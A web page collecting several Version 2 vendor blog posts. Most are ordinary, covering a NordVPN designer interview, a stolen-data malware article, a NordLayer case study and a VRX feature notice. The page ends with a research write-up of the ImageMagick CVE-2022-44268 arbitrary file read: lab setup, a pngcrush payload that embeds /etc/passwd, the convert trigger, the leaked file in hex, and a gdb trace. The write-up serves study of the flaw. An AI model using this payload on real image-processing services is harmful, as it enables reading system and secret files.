Skip to content

UX/UI Designers in cybersecurity: An essential role for a safer digital world

While most people associate cybersecurity solutions with complex code, it also involves a significant amount of design work. That’s where UX/UI specialists come in. But exactly what role do these designers play in the cybersecurity field, and where can we see their impact?

To answer these questions, we talked to two UX/UI designers working at Nord Security, Teodora Žvilaitytė and Irma Škuratovaitė. They shared their experiences and some insights on their work in this challenging industry and how it feels to shape a quality user experience for the world’s fastest VPN. So, without further ado, let’s dive in.

Meaningful work

What makes working in the cybersecurity field exciting and fulfilling for you as a UX/UI designer?

Irma: It is really gratifying to know that I’m helping make the online world safer for millions of people across the globe. And it’s even more rewarding to see that our hard work has been recognized by TIME magazine, which listed NordVPN as one of the best innovations of 2022.

While UX/UI design may not be the most crucial part of the product (the tech side is), it still plays an essential role in ensuring that the security features of NordVPN are accessible and user-friendly. This involves designing intuitive interfaces, clear instructions, and helpful features that guide users in managing their security settings.

Teodora: It’s crazy how cyber threats are everywhere and can affect not just companies but also ordinary people, who often think they are too small to become a target of cybercriminals – but they’re not. Knowing this, I’m glad to work for NordVPN, securing people’s digital lives.

The fact that I’m playing an active role by creating a seamless, enjoyable experience, allowing NordVPN users to take control of their online security, is what makes my job so fulfilling. Seeing how much they appreciate and trust our product is incredibly inspiring, and it gives me a great sense of purpose that is hard to come by.

Skills needed to succeed

UX design is a broad field that covers many areas of expertise. What skills do you need to succeed as a UX pro?

Irma: To work at Nord Security, you need to have open-mindedness, communication, and presentation skills, along with problem-solving abilities. Being open to discussion, feedback, and different viewpoints will help you collaborate more effectively with stakeholders and cross-functional teams and create better design solutions.

Communication and presentation skills are essential for conveying ideas, preparing presentations, and ensuring that the design process runs smoothly. Problem-solving skills are crucial for empathizing with users and finding solutions to their pain points.

Teodora: Besides having strong communication skills, as Irma mentioned, you also need to have a keen attention to detail and a willingness to tackle problems creatively. As a UX/UI designer, you’ll need to balance aesthetics with functionality and security, and sometimes combining these factors can be challenging.

Finally, since the cybersecurity field is constantly changing, you have to be prepared to work in a fast-paced and high-pressure environment, as designers often work on multiple projects and must meet tight deadlines.

Irma: In terms of hard skills, proficiency in Figma is a must, while familiarity with Adobe AI, PS, HTML, CSS, and JavaScript is also important. Creating wireframes and prototypes, knowing user research methodologies, and following accessibility standards are all key. Knowledge of A/B testing and Google Analytics is also beneficial for deeper insights.

Teodora: Figma will definitely be your major tool in this role, along with the web technologies that Irma mentioned. Besides that, knowledge of user experience (UX) design principles, including user research, information architecture, prototyping, and testing, is a must if you want to work in this role. If you’d like to learn more about what UX/UI designer’s job looks like in the cybersecurity field, feel free to reach out to me on LinkedIn.

Irma: Once you join Nord Security, your professional growth will only accelerate. You’ll have access to a supportive community of experts who are always willing to share their knowledge and wisdom. And our learning and development team is absolutely amazing! They provide us with a wide range of learning opportunities, from internal and external training to mentorship programs, workshops, and knowledge-sharing events.

All these resources help us stay up-to-date with the latest trends and technologies in the field and continuously improve our skills. It’s inspiring to work for a company that truly invests in the growth and development of its team members.

Blog inside image girl 2

Exciting challenges

What are the challenges of working as a UX/UI designer at Nord Security?

Irma: As a UX/UI designer on the conversion rate optimization (CRO) team, my main focus is on creating designs that convert. The team helps me to identify pain points, problems, and opportunities for improvement on our website. Based on that, I create wireframes and prototypes and design A/B test variations for our landing pages.

The biggest challenge in this role is to visually communicate and translate complex security concepts and product features into clear, intuitive, and user-friendly designs.

Teodora: Another challenge is ensuring that our products are accessible and easy to use for all users, including those with disabilities. This involves designing interfaces and user experiences in a way that meets accessibility standards and considers their special needs. By doing so, we can provide a secure digital environment that is inclusive and accessible to all.

One more challenge in this role is finding common ground and ensuring that every stakeholder, from product managers to engineers who have different perspectives and priorities, is working towards the same goal. This challenge can be overcome through effective communication, collaboration, and finding a shared understanding of the project goals.

The impact of work

What is the impact of your work on the world’s fastest VPN?

Teodora: Well, my work has a direct impact on the experience of millions of users. One recent project I worked on was introducing a new navigation menu on our global website, which has already improved the user experience for many NordVPN users. Another was optimizing and raising interest for specific audiences in our Amazon (Indirect Sales) store, which has led to increased engagement and sales.

In addition, I am involved in daily suggestions and problem-solving decisions, such as optimizing our landing pages, localizing web content and adapting it to specific countries, etc. It’s amazing to think that my work is visible to millions of people across the globe and that every design decision I make has the potential to impact someone’s online security and privacy. This is a huge responsibility, but it’s also incredibly rewarding to know that I’m making a difference in the world.

Irma: My team and I have a direct impact on the world’s fastest VPN, NordVPN, by creating design solutions that significantly improve landing page conversions. Through data analysis, we were able to redesign sections with better UI and brand compatibility, improve storytelling for clearer communication, and enhance mobile UX on specific components.

Our work is crucial in making NordVPN more accessible to people worldwide, providing them with a secure and easy-to-use digital environment. By constantly improving the user experience, we are helping NordVPN to continue to grow and maintain its position as the leader in the VPN industry, serving millions of users worldwide.

Work in cybersecurity

Want to catch a glimpse of what working with other Nord Security products as a UX/UI designer looks like? Watch the Meet Nord People video. And if you’re ready to take the next step and join our team, explore our UX/UI designer opportunities here!

About Version 2
Version 2 is one of the most dynamic IT companies in Asia. The company develops and distributes IT products for Internet and IP-based networks, including communication systems, Internet software, security, network, and media products. Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About NordLayer
NordLayer is an adaptive network access security solution for modern businesses – from the world’s most trusted cybersecurity brand, Nord Security.

The web has become a chaotic space where safety and trust have been compromised by cybercrime and data protection issues. Therefore, our team has a global mission to shape a more trusted and peaceful online future for people everywhere.

How nameless malware steals your data (and gets away with it)

Imagine if malware got into your computer. In fact, how do you know it isn’t there already? With some help from third-party researchers, we uncovered and analyzed a database of stolen data. It’s big — and the victims likely never knew their files had been stolen.

The discovery of a stolen database

We want to make it clear: we did not purchase this database nor would we condone other parties doing it. A hacker group revealed the database location accidentally. The analysis of the database was conducted in partnership with a third-party company specializing in data breach research. The cloud provider hosting the data was notified so it can be taken down.

1.2 TB database of stolen data

The stolen database contained 1.2 TB of files, cookies, and credentials that came from 3.2 million Windows-based computers. The data was stolen between 2018 and 2020. The database included 2 billion cookies. The analysis revealed that over 400 million, or 22%, of those cookies were still valid at the time when the database was discovered.

We now know that the virus escaped with 6 million files it grabbed from Desktop and Downloads folders. 3 million text files, 900,00 image files, and 600,000+ Word files made up the bulk of the stolen database, but it also contained over 1,000 types of different files.

Screenshots made by the malware reveal that it spread via illegal software (Adobe Photoshop), Windows cracking tools, and pirated games. Moreover, the malware also photographed the user if the device had a webcam.

The dangers of custom malware

Just like with hurricanes, experts love naming dangerous malware. But computer viruses don’t have to have names to be capable of stealing lots of data. The truth is, anyone can get their hands on custom malware. It’s cheap, customizable, and can be found all over the web.

Dark web ads for these viruses uncover even more truth about this market. For instance, anyone can get their own custom malware and even lessons on how to use the stolen data for as little as $100. And custom does mean custom – advertisers promise that they can build a virus to attack virtually any app the buyer needs.

How to stay safe

Based on the feedback from the researchers, it may be impossible to tell whether a file is infected. If the malware is new, no antivirus can recognize it. The only way to stay safe is to follow good cyber hygiene rules:

  • Web browsers are not good at protecting sensitive data. Use password managers to protect your credentials and auto-fill information.
  • Malware can’t access encrypted files. Services like NordLocker protect your files both on your computer and the cloud, so malware can’t just grab them.
  • Some cookies are valid for 90 days, and some don’t expire for an entire year. Make deleting cookies a monthly habit.
  • Peer-to-peer networks are often used for spreading malware. Only download software from the developer’s website and other well-known sources.
  • All malware gets recognized eventually. Make sure that your antivirus is always updated to prevent old viruses from slipping through the cracks.

About Version 2
Version 2 is one of the most dynamic IT companies in Asia. The company develops and distributes IT products for Internet and IP-based networks, including communication systems, Internet software, security, network, and media products. Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About NordLayer
NordLayer is an adaptive network access security solution for modern businesses – from the world’s most trusted cybersecurity brand, Nord Security.

The web has become a chaotic space where safety and trust have been compromised by cybercrime and data protection issues. Therefore, our team has a global mission to shape a more trusted and peaceful online future for people everywhere.

How ScottMadden rolled out security integration with Azure AD

ScottMaden is a management consulting group that supports Fortune 500 companies. The service provider focuses on two primary business areas: the energy sector and corporate & shared services. With 40-year experience in the industry, ScottMadden provides its clients with strategic planning through implementation across different business fields and functions.

Addressing numerous global clientele challenges represents ScottMadden’s expertise in sophisticated planning. Therefore, how does a company with up to 250 full-time employees throughout the United States and three local East Coast offices face internal security issues? Clinton Miller, IT Director of ScottMadden, shares their story on filling in the missing links in the organization’s cybersecurity strategy.

The Challenge

Securing employees on the go the right way

The company consults domestic and international clients — employees travel quite a bit to client sites and work hands-on on their projects. Hence, a hybrid work model wasn’t the new normal for the organization once the pandemic hit.

ScottMadden consultants spend a lot of time in airports and other public spaces where they would connect to the airport or mobile hotspots and hotel wifi. Yet, the company’s solution wasn’t as good for protecting and running smoothly while traveling.

“The concern was to improve the existing security model and ensure our employees had an encrypted connection regardless of which network they were on.”

Click to tweet

Having better performance, following industry best practices, and fulfilling client requirements to protect data outside the office were the driving factors in looking for a change. But is there a solution that can solve the problem effectively and efficiently onboard?

The Solution

Streamlined client drive-out to different environments

The traveling ScottMadden consultants and employees working from home used to rely on browser-based encryption. Using built-in data encoding in Office365 applications allowed them to perform job tasks and communicate with teams with some security levels.

However, the issue was the poor connection flow while video conferencing — latency is a deal breaker for online business meetings in a remote setup.

“Everyone during the pandemic did a lot of video conferencing via Google Meet, Microsoft Teams, or Zoom. We aimed to ensure there was a minimal impact on video calls.”

Click to tweet

One thing is handling latency to elevate employees’ and clients’ experience. But can the transition process administratively have a minimal impact on existing company infrastructure and cybersecurity strategy?

“One of the things we wanted to do was to push out the client fairly easily, operating on an SSO solution already in use.”

Click to tweet

ScottMadden uses solution Azure AD single sign-on solution for user identification within the organization. The company operates in macOS and Windows environments, so the chosen solution had to fit into the criteria for integration and simplicity.

Why choose NordLayer?

NordLayer solution is compatible with major service providers on the market. Thus, the company could integrate with AzureAD IAM solution and roll out organization-wide onboarding to a new solution using existing SSO.

The endpoint management solution allowed remote access in macOS and Windows environments.

“The implementation of NordLayer went a lot easier when we connected clients to Azure AD. It relieved us from setting up new individual accounts for every 250+ people in the organization.”

Click to tweet

The IT Director handled the process — it didn’t require a lot of resources and time to deploy the solution in the organization.

Organization onboarding using Azure AD by ScottMadden

According to Clinton Miller, the IT Director of the company, the longest step was to create an Azure group and add NordLayer. Once it was solved, the complete rollout to NordLayer solution took only a few hours.

The Outcome

Onboarding to a chosen solution enabled the company to secure team connections and extensive access to functionalities that comply with ScottMadden set benchmarks. Achieving data security didn’t have to compromise connection speed and video conferencing quality.

“Anytime employees are outside the office – at home or coffee shop – wherever they might be, we validated that they can reach all the services they needed, and speed wasn’t an issue.”

Click to tweet

The transition to the new tool was heavily based on the company’s SSO. The documentation, knowledge base, and support team are highly responsive with communication to walk IT leaders through the process.

“For other potential decision-makers: onboarding NordLayer isn’t a heavy lift — you have the support and knowledge base ready, so it’s pretty straightforward.”

Click to tweet

Moreover, NordLayer’s Control Panel provides a good cross-reference point for those using the tool while working outside the office by filtering ongoing active connections.

It also delivers another step in the reporting process for the IT admin and the whole organization. For instance, it verifies that the organization follows internal policies by exporting connection data to verify and justify to a third-party audit.

Pro cybersecurity tips

Different sectors, industries, and services, but the same goal unites every organization’s IT leaders — securing their company assets. Following best practices and professional knowledge helps achieve security targets easier. Clinton Miller, the IT Director at ScottMadden, shares his top-on-the-list tips:

Do you need to upgrade existing tools used in your organization to align with best practices in the industry, improve processes and performance for the team, or expand your capabilities of tracking and reviewing the implemented security strategy?

Using NordLayer, you can integrate more features and functionalities with the organization’s preferred tools, service providers, and IAM solutions. It is possible without committing to massive changes and re-organizing current policies and infrastructure. Reach out to find out about your options on how to secure connections for the off-office employees and improve their experience while working online.

About Version 2
Version 2 is one of the most dynamic IT companies in Asia. The company develops and distributes IT products for Internet and IP-based networks, including communication systems, Internet software, security, network, and media products. Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About NordLayer
NordLayer is an adaptive network access security solution for modern businesses – from the world’s most trusted cybersecurity brand, Nord Security.

The web has become a chaotic space where safety and trust have been compromised by cybercrime and data protection issues. Therefore, our team has a global mission to shape a more trusted and peaceful online future for people everywhere.

You can now filter by your agent version!

Whenever you are investigating any issue in your organization, it’s good practice to know which version of the agent is running on each asset. And now you can!

This filtering capability will also be useful when agent rolling updates will be released! Stay tuned!

About Version 2
Version 2 is one of the most dynamic IT companies in Asia. The company develops and distributes IT products for Internet and IP-based networks, including communication systems, Internet software, security, network, and media products. Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About VRX
VRX is a consolidated vulnerability management platform that protects assets in real time. Its rich, integrated features efficiently pinpoint and remediate the largest risks to your cyber infrastructure. Resolve the most pressing threats with efficient automation features and precise contextual analysis.

CVE-2022–44268: Arbitrary Remote Leak in ImageMagick

Introduction

Arbitrary Remote Leak in ImageMagick 7.1.0–49 has been found and registered as #CVE-2022-44268.

What is ImageMagick?

ImageMagick doesn’t really need any introduction because it has been around since August 1, 1990. It’s used everywhere not only on Linux systems but also as a library with other programming languages.

ImageMagick, invoked from the command line as magick, is a free and open-source cross-platform software suite for displaying, creating, converting, modifying, and editing raster images. Created in 1987 by John Cristy, it can read and write over 200 image file formats. It is widely used in open-source applications.

Programming language: C

Initial release: August 1, 1990; 32 years ago

Stable release: 7.1.0–62 / 12 February 2023

Build the lab

Method 1

  • Download the vulnerable (7.1.0-49) version from here:https://imagemagick.org/archive/releases/
  • Install the build tools
    sudo apt install build-essential make
  • Extract the tar.xz
    tar -axvf ImageMagick-7.1.0-49.tar.xz
    cd ImageMagick-7.1.0-49/
  • Configure and Install
    ./configure
    sudo make install
    sudo ldconfig /usr/local/lib
  • Test ImageMagick
    convert pictest.png test2.png
    convert --version

     

This worked for me after that I started to face issues with the PNG library, so if you faced the same issue here is another method to install.

Method 2

  • Download the script:https://github.com/SoftCreatR/imei/
    git clone https://github.com/SoftCreatR/imei && \
    cd imei && \
    chmod +x imei.sh
  • Run the script to download all the required libs and install ImageMagick
    ./imei.sh --im-version 7.1.0-49

NOTE: After installing using this way if you tried to open convert with GDB and didn’t work, you can run the ./confugre script in Method1 and it will work, that way imei will install all the needed libs and ImageMagick will be installed from the official resource.

However, I think you can just edit the imei script to install only the libs without installing ImageMagick and after that install ImageMagick.

I will add this in a separate blog, so stay tuned.

Background Story

This is a summary to give you general information about what you are going to read, so you can have an easier understanding.

When you pass a PNG image to something like “convert”, there is a function named ReadOnePNGImage which will process the image and also read the text chunk, from there, there is an if condition where it checks if there is the “profile” keyword inside the image metadata, if that the case the code treat any associated text to the keyword “profile” as a filename and using a function named FileToBlob it will read the file and set the string content inside the image.

I’m trying to achieve a more detailed understanding of what’s going on and how this whole vulnerability getting proceed.

Dive deep if you dare 😀

Reproducing the attack

  • First, you have to create the payload by embedding the “profile” keyword along with a file path as text, to do that we will use pngcrush tool.
    pngcrush -text a "profile" "/etc/passwd" mhzcyber2.png

    This will generate a new image named “pngout.png” with the text embedded inside it

    Here we can see the differences between both the original image and the new malicious one.

The original image:

The malicious image:

  • Trigger the exploitation with the following command:convert pngout.png pwnit.png

     

NOTE: Errors messages are always interesting since they can give us a lot of info that can help with debugging.

  • Check the newly generated image using the following command:
    identify -verbose pwnit.png

    This is hex data

  • Convert the hex to str
    
    726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f626173680a6461656d6f6e3a783a313a313a6461656d6f6e3a2f7573722f7362696e3a2f7573722f7362696e2f6e6f6c6f67696e0a62696e3a783a323a323a62696e3a2f62696e3a2f7573722f7362696e2f6e6f6c6f67696e0a7379733a783a333a333a7379733a2f6465763a2f7573722f7362696e2f6e6f6c6f67696e0a73796e633a783a343a36353533343a73796e633a2f62696e3a2f62696e2f73796e630a67616d65733a783a353a36303a67616d65733a2f7573722f67616d65733a2f7573722f7362696e2f6e6f6c6f67696e0a6d616e3a783a363a31323a6d616e3a2f7661722f63616368652f6d616e3a2f7573722f7362696e2f6e6f6c6f67696e0a6c703a783a373a373a6c703a2f7661722f73706f6f6c2f6c70643a2f7573722f7362696e2f6e6f6c6f67696e0a6d61696c3a783a383a383a6d61696c3a2f7661722f6d61696c3a2f7573722f7362696e2f6e6f6c6f67696e0a6e6577733a783a393a393a6e6577733a2f7661722f73706f6f6c2f6e6577733a2f7573722f7362696e2f6e6f6c6f67696e0a757563703a783a31303a31303a757563703a2f7661722f73706f6f6c2f757563703a2f7573722f7362696e2f6e6f6c6f67696e0a70726f78793a783a31333a31333a70726f78793a2f62696e3a2f7573722f7362696e2f6e6f6c6f67696e0a7777772d646174613a783a33333a33333a7777772d646174613a2f7661722f7777773a2f7573722f7362696e2f6e6f6c6f67696e0a6261636b75703a783a33343a33343a6261636b75703a2f7661722f6261636b7570733a2f7573722f7362696e2f6e6f6c6f67696e0a6c6973743a783a33383a33383a4d61696c696e67204c697374204d616e616765723a2f7661722f6c6973743a2f7573722f7362696e2f6e6f6c6f67696e0a6972633a783a33393a33393a697263643a2f7661722f72756e2f697263643a2f7573722f7362696e2f6e6f6c6f67696e0a676e6174733a783a34313a34313a476e617473204275672d5265706f7274696e672053797374656d202861646d696e293a2f7661722f6c69622f676e6174733a2f7573722f7362696e2f6e6f6c6f67696e0a6e6f626f64793a783a36353533343a36353533343a6e6f626f64793a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d6e6574776f726b3a783a3130303a3130323a73797374656d64204e6574776f726b204d616e6167656d656e742c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d7265736f6c76653a783a3130313a3130333a73797374656d64205265736f6c7665722c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d74696d6573796e633a783a3130323a3130343a73797374656d642054696d652053796e6368726f6e697a6174696f6e2c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e0a6d6573736167656275733a783a3130333a3130363a3a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a7379736c6f673a783a3130343a3131303a3a2f686f6d652f7379736c6f673a2f7573722f7362696e2f6e6f6c6f67696e0a5f6170743a783a3130353a36353533343a3a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a7473733a783a3130363a3131313a54504d20736f66747761726520737461636b2c2c2c3a2f7661722f6c69622f74706d3a2f62696e2f66616c73650a75756964643a783a3130373a3131323a3a2f72756e2f75756964643a2f7573722f7362696e2f6e6f6c6f67696e0a74637064756d703a783a3130383a3131333a3a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a6c616e6473636170653a783a3130393a3131353a3a2f7661722f6c69622f6c616e6473636170653a2f7573722f7362696e2f6e6f6c6f67696e0a706f6c6c696e6174653a783a3131303a313a3a2f7661722f63616368652f706f6c6c696e6174653a2f62696e2f66616c73650a7573626d75783a783a3131313a34363a7573626d7578206461656d6f6e2c2c2c3a2f7661722f6c69622f7573626d75783a2f7573722f7362696e2f6e6f6c6f67696e0a737368643a783a3131323a36353533343a3a2f72756e2f737368643a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d636f726564756d703a783a3939393a3939393a73797374656d6420436f72652044756d7065723a2f3a2f7573722f7362696e2f6e6f6c6f67696e0a75733a783a313030303a313030303a75733a2f686f6d652f75733a2f62696e2f626173680a6c78643a783a3939383a3130303a3a2f7661722f736e61702f6c78642f636f6d6d6f6e2f6c78643a2f62696e2f66616c73650a

Debugging

I need to understand how ImageMagick processes png images, therefore, I can dive deep into the code and understand the vulnerability better.

  • Start gdb as follows:gdb convert

     

    use the command lay next and after that press Enter twice

I set a breakpoint at the main function after that run the program

break main

run pngout.png xy.png

I went here with step step-in and next to follow the program execution

This will be a very long execution flow until we hit the first interesting shared library “png.c” and the interesting function for us which is “ReadOnePNGImage”

I recorded the execution here:

ٍSince I did this on multiple days, I have divided this into three parts

NOTE: these are not the precise execution steps since I passed some steps that are not exactly related to understanding the execution flow and the vulnerability.

Part 1:

it starts ywith reading the PNG image using ReadOnePNGImage

2177          int
2213          png_bytep
2216          png_color_16p
2230          png_uint_32
2261          png_byte unused_chunks[]=
2280          logging=IsEventLogging();

MagickCore/log.c
764         {
765           return(event_logging);

coders/png.c
2281          if (logging != MagickFalse)
2345          quantum_info = (QuantumInfo *) NULL;
2346          image=mng_info->image;
2359          intent= Magick_RenderingIntent_to_PNG_RenderingIntent(image->rendering_intent);
1110          switch (ping_colortype)
2363          transparent_color.red=65537;
2364          transparent_color.green=65537;
2365          transparent_color.blue=65537;
2366          transparent_color.alpha=65537;
2377          ping_found_sRGB_cHRM = MagickFalse;
2378          ping_preserve_iCCP = MagickFalse;
2376          ping_found_sRGB = MagickFalse;
2377          ping_found_sRGB_cHRM = MagickFalse;
2378          ping_preserve_iCCP = MagickFalse;
2387         ping=png_create_read_struct_2(PNG_LIBPNG_VER_STRING,&error_info,MagickPNGErrorHandler,MagickPNGWarningHandler, NULL,(png_malloc_ptr) Magick_png_malloc,(png_free_ptr) Magick_png_free);
2394          if (ping == (png_struct *) NULL)
2397          ping_info=png_create_info_struct(ping);
2399          if (ping_info == (png_info *) NULL)
2405          end_info=png_create_info_struct(ping);
2407          if (end_info == (png_info *) NULL)
2413          pixel_info=(MemoryInfo *) NULL;
2414          quantum_scanline = (Quantum *) NULL;
2415          quantum_info = (QuantumInfo *) NULL;
2417          if (setjmp(png_jmpbuf(ping)))
2451          LockSemaphoreInfo(ping_semaphore);

MagickCore/semaphore.c
294         {
295           assert(semaphore_info != (SemaphoreInfo *) NULL);
296           assert(semaphore_info->signature == MagickCoreSignature);
306           omp_set_lock((omp_lock_t *) &semaphore_info->mutex);

coders/png.c
2456          png_set_benign_errors(ping, 1);
2465            png_set_user_limits(ping,(png_uint_32) MagickMin(PNG_UINT_31_MAX, GetMagickResourceLimit(WidthResource)),(png_uint_32) MagickMin(PNG_UINT_31_MAX,GetMagickResourceLimit(HeightResource)));

MagickCore/resource.c
798         {
802           switch (type)
807               return(resource_info.height_limit);
798         {
802           switch (type)
815               return(resource_info.width_limit);

coders/png.c
2470            option=GetImageOption(image_info,"png:chunk-cache-max");

MagickCore/option.c
2404        {
2405          assert(image_info != (ImageInfo *) NULL);
2406          assert(image_info->signature == MagickCoreSignature);
2407          if (IsEventLogging() != MagickFalse)

MagickCore/log.c
764         {
765           return(event_logging);

MagickCore/option.c
2410          if (image_info->options == (void *) NULL)
2412          return((const char *) GetValueFromSplayTree((SplayTreeInfo *) image_info->options,option));

MagickCore/splay-tree.c
923         {
930           assert(splay_tree != (SplayTreeInfo *) NULL);
931           assert(splay_tree->signature == MagickCoreSignature);
932           if (IsEventLogging() != MagickFalse)

MagickCore/log.c
764         {
765           return(event_logging);

MagickCore/splay-tree.c
934           if (splay_tree->root == (NodeInfo *) NULL)
936           LockSemaphoreInfo(splay_tree->semaphore);

MagickCore/semaphore.c
294         {
295           assert(semaphore_info != (SemaphoreInfo *) NULL);
296           assert(semaphore_info->signature == MagickCoreSignature);
306           omp_set_lock((omp_lock_t *) &semaphore_info->mutex);

MagickCore/splay-tree.c
937           SplaySplayTree(splay_tree,key);
1613          if (splay_tree->root == (NodeInfo *) NULL)
1615          if (splay_tree->key != (void *) NULL)
1620              if (splay_tree->compare != (int (*)(const void *,const void *)) NULL)
1621                compare=splay_tree->compare(splay_tree->root->key,key);
413         {
420           return(LocaleCompare(p,q));

MagickCore/locale.c
1407        {
1408          if (p == (char *) NULL)
1414          if (q == (char *) NULL)
1421            for ( ; (*r != '\0') && (*s != '\0') && ((*r == *s) || (LocaleToLowercase((int) *r) == LocaleToLowercase((int) *s))); r++, s++);

MagickCore/splay-tree.c
1625              if (compare == 0)
1611        static void SplaySplayTree(SplayTreeInfo *splay_tree,const void *key)
1628          (void) Splay(splay_tree,0UL,key,&splay_tree->root,(NodeInfo **) NULL, (NodeInfo **) NULL);
1528          n=(*node);
1529          if (n == (NodeInfo *) NULL)
1536          if (splay_tree->compare != (int (*)(const void *,const void *)) NULL)
1537            compare=splay_tree->compare(n->key,key);
413         {
420           return(LocaleCompare(p,q));

MagickCore/locale.c
1407        {
1408          if (p == (char *) NULL)
1414          if (q == (char *) NULL)
1421            for ( ; (*r != '\0') && (*s != '\0') && ((*r == *s) || (LocaleToLowercase((int) *r) == LocaleToLowercase((int) *s))); r++, s++);

MagickCore/splay-tree.c
1541          if (compare > 0)
1544            if (compare < 0)
1545              next=(&n->right);
1548              if (depth >= MaxSplayTreeDepth)
1553              n=Splay(splay_tree,depth+1,key,next,node,parent);
1528          n=(*node);
1529          if (n == (NodeInfo *) NULL)
1531              if (parent != (NodeInfo **) NULL)
1532                return(*parent);
1551                  return(n);
1554              if ((n != *node) || (splay_tree->balance != MagickFalse))
1557          if (parent == (NodeInfo **) NULL)
1551                  return(n);
1630          if (splay_tree->balance != MagickFalse)
1638          splay_tree->key=(void *) key;
938           if (splay_tree->compare != (int (*)(const void *,const void *)) NULL)
939             compare=splay_tree->compare(splay_tree->root->key,key);
413         {
420           return(LocaleCompare(p,q));

MagickCore/locale.c
1407        {
1408          if (p == (char *) NULL)
1414          if (q == (char *) NULL)
1421            for ( ; (*r != '\0') && (*s != '\0') && ((*r == *s) || (LocaleToLowercase((int) *r) == LocaleToLowercase((int) *s))); r++, s++);

MagickCore/splay-tree.c
943           if (compare != 0)
945               UnlockSemaphoreInfo(splay_tree->semaphore);

MagickCore/semaphore.c
450         {
451           assert(semaphore_info != (SemaphoreInfo *) NULL);
452           assert(semaphore_info->signature == MagickCoreSignature);
465           omp_unset_lock((omp_lock_t *) &semaphore_info->mutex);

MagickCore/splay-tree.c
946               return((void *) NULL);

coders/png.c
2471            if (option != (const char *) NULL) png_set_chunk_cache_max(ping,(png_uint_32) MagickMin(PNG_UINT_32_MAX, StringToLong(option)));
2475              png_set_chunk_cache_max(ping,32767);
2479            option=GetImageOption(image_info,"png:chunk-malloc-max");

MagickCore/property.c
4711              if (LocaleCompare("profile",property) == 0)

MagickCore/locale.c
1407        {
1408          if (p == (char *) NULL)
1414          if (q == (char *) NULL)
1421            for ( ; (*r != '\0') && (*s != '\0') && ((*r == *s) || (LocaleToLowercase((int) *r) == LocaleToLowercase((int) *s))); r++, s++);
1422              (LocaleToLowercase((int) *r) == LocaleToLowercase((int) *s))); r++, s++);

/usr/include/ctype.h
209           return __c >= -128 && __c < 256 ? (*__ctype_tolower_loc ())[__c] : __c;

MagickCore/property.c
4843          status=AddValueToSplayTree((SplayTreeInfo *) image->properties, ConstantString(property),ConstantString(value));

MagickCore/string.c
679         {
687           if (source != (char *) NULL)
688             length+=strlen(source);

MagickCore/property.c
4362        {
4372          assert(image != (Image *) NULL);
4373          assert(image->signature == MagickCoreSignature);
4374          if (IsEventLogging() != MagickFalse)

MagickCore/log.c
764         {
765           return(event_logging);

MagickCore/property.c
4376          if (image->properties == (void *) NULL) image->properties=NewSplayTree(CompareSplayTreeString, RelinquishMagickMemory,RelinquishMagickMemory);
4379          if (value == (const char *) NULL) return(DeleteImageProperty(image,property));
4381          if (strlen(property) <= 1)

4711              if (LocaleCompare("profile",property) == 0)

MagickCore/locale.c
1407        {
1408          if (p == (char *) NULL)
1414          if (q == (char *) NULL)
1421            for ( ; (*r != '\0') && (*s != '\0') && ((*r == *s) || (LocaleToLowercase((int) *r) == LocaleToLowercase((int) *s))); r++, s++);
1422              (LocaleToLowercase((int) *r) == LocaleToLowercase((int) *s))); r++, s++);

/usr/include/ctype.h
209           return __c >= -128 && __c < 256 ? (*__ctype_tolower_loc ())[__c] : __c;

MagickCore/property.c
4843          status=AddValueToSplayTree((SplayTreeInfo *) image->properties, ConstantString(property),ConstantString(value));

coders/png.c
3370             if (ping_interlace_method == 0)
3372                 (void) FormatLocaleString(msg,MagickPathExtent,"%d (Not interlaced)", (int) ping_interlace_method);

MagickCore/locale.c
131           if (c_locale == (locale_t) NULL)
137           return(c_locale);

coders/png.c
3385               (void) SetImageProperty(image,"png:IHDR.interlace_method",msg,exception);

MagickCore/property.c
4362        {
4372          assert(image != (Image *) NULL);
4373          assert(image->signature == MagickCoreSignature);
4374          if (IsEventLogging() != MagickFalse)
4376          if (image->properties == (void *) NULL)
4379          if (value == (const char *) NULL)
4381          if (strlen(property) <= 1)
4711              if (LocaleCompare("profile",property) == 0)

coders/png.c
3387             if (number_colors != 0)
3395           read_tIME_chunk(image,ping,ping_info,exception);
2118        {
2122          if (png_get_tIME(ping,info,&time))
3398          read_eXIf_chunk(image,ping,ping_info,exception);
1950          if (png_get_eXIf_1(ping,info,&size,&data))
3405          if (image->delay != 0)
3408          if ((mng_info->mng_type == 0 && (image->ping != MagickFalse)) || (
3438          if (logging != MagickFalse)
3442          status=SetImageExtent(image,image->columns,image->rows,exception);

MagickCore/image.c
2664        {
2665          if ((columns == 0) || (rows == 0))
2667          image->columns=columns;
2668          image->rows=rows;
2669          if (image->depth == 0)
2675          if (image->depth > (8*sizeof(MagickSizeType)))
2681          return(SyncImagePixelCache(image,exception));

MagickCore/resource.c
798         {
802           switch (type)

Part 2:

ReadOnePNGImage (mng_info=mng_info@entry=0x5555555b0200, image_info=image_info@entry=0x555555597590, exception=exception@entry=0x55555558a830) at coders/png.c:3962

